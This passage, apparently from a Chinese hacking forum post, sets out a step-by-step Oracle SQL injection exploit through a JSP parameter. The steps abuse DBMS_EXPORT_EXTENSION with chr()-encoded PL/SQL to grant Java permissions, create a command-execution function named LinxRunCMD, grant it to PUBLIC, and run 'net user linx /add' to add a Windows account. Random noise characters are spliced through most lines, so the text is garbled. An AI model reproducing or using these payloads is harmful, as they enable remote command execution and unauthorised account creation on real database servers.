chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
/ J. q3 @5 S6 E/ f. R- j9 Schr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
: D+ e- ^+ G( V* B8 w,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual# j. i7 J7 ]$ E" T5 K8 u* }
' O. x' W( q1 S& ~7 j m0 |)
~* i3 |8 T! I8 m7 L& P1 H8 y" Y( a! Q- z
------------------------------7 i8 d; a; M2 B
0 } Q- }5 O- g: c$ q- {6 U2.赋Java权限
) r/ Z+ @6 ?! s& |/xxx.jsp?id=1 and chr(49)<>chr(50)||(4 O4 i" `+ x9 }$ h8 h9 @! K8 N
! \+ X1 k6 W1 G; ]; x6 Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
" x$ _0 X! z7 B5 a. E8 Hchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
+ `! I, E$ r6 f) uchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||8 i5 f+ P- D5 u4 u& `- `/ \
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
1 I- E7 C" v1 @9 ?' ] U" `chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||9 L/ e( x& e+ e+ x# [& ]/ x" Y- x
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||2 X4 k8 Q) Z! B/ a' w
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
6 G3 l$ | Q! y+ _' k* t+ T3 Jchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||% I) Z/ Q! e7 ]4 @
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
; n) N& h8 @# zchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
; D9 y3 P6 {/ c& W0 i,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
. c8 d) J, T2 l
; R% G/ z8 {: y1 T$ `)- y6 [7 I3 a& H( ^7 [
, T/ t# m: y+ S7 z7 C# \* |- E
readfile函数的ascii版就不写了,见谅。
. p( J$ m, z0 x2 y& s
" V' [& ]! u2 v+ j+ ~8 Z. V# l3.创建函数
3 I, |5 D& i# S# C# E3 a* y; @9 ~! f8 ^& W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 D/ t3 V2 J$ Z) Z! ]5 q5 {! ]chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
% W+ Z- Z& \5 D& u( nchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
) M& n; O; g8 s* w% ^! Kchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||* S. S2 Q/ w2 o
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||0 n% W" V2 \* z6 p7 b
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||# z* c* C8 x N2 |1 M
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
) ~( y! |4 N- Q/ T1 @" ?) _chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
- B( S0 N$ M. ichr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
. U0 {- g3 d/ a9 q# @# d& wchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||* [. q1 |- n- h' J( f
chr(59)||chr(45)||chr(45)
2 B5 F4 v8 d5 A8 {, N' Q,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
- H7 h B* Z5 h! e" I* l. h; {/ x/ b/ P9 Z. j$ e5 m
* e5 E% U4 }. b9 u! n
1 R2 M& f2 N, P
4.赋public执行函数的权限! Y4 p0 e( v. \; g9 s8 H
9 Q3 _7 w: Q% ^* i- X/ _: ^
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),$ Q* ]7 `" \# y1 e8 @
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||- }, Q1 P6 c, `4 _
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
+ {1 Z7 B) h' b+ ]4 Tchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
" \) h% e( f- a) z* ]/ e- Ochr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
3 i) `% v0 k4 Y# F5 Bchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||7 x' d0 i, {' v, {8 _& |- i; h
chr(59)||chr(45)||chr(45)" v' s2 x- z+ r8 l8 ~! S- a) S
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual0 u% C2 Z: G* |
- G& d5 I/ [0 r- U6 W5 z
+ O3 R0 o' q9 ^2 [2 }, H% W; g+ v1 @/ i& g0 C
5.执行命令:' r' S- D# s9 g: W' Q7 p7 Y
# X2 L3 w- v q$ o' ]; \" O" y3 _
/xxx.jsp?id=1 and chr(49)<>chr(32)||(# [0 b% L a8 A! ~8 m
select sys.LinxRunCMD('cmd /c net user linx /add') from dual- c5 ^1 {& e4 k- C
)
1 ~: R; _% y2 D' Q9 }6 R- x3 ^9 A! b! [2 Q1 o5 h
即5 u- O' N& ^. n* a0 ?
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
. i' } c3 B. o1 r( A7 vselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual$ t) }% I; J0 g' q* {# y- j$ B
)
* K8 _4 R2 p1 ^$ K' w5 u" m9 A |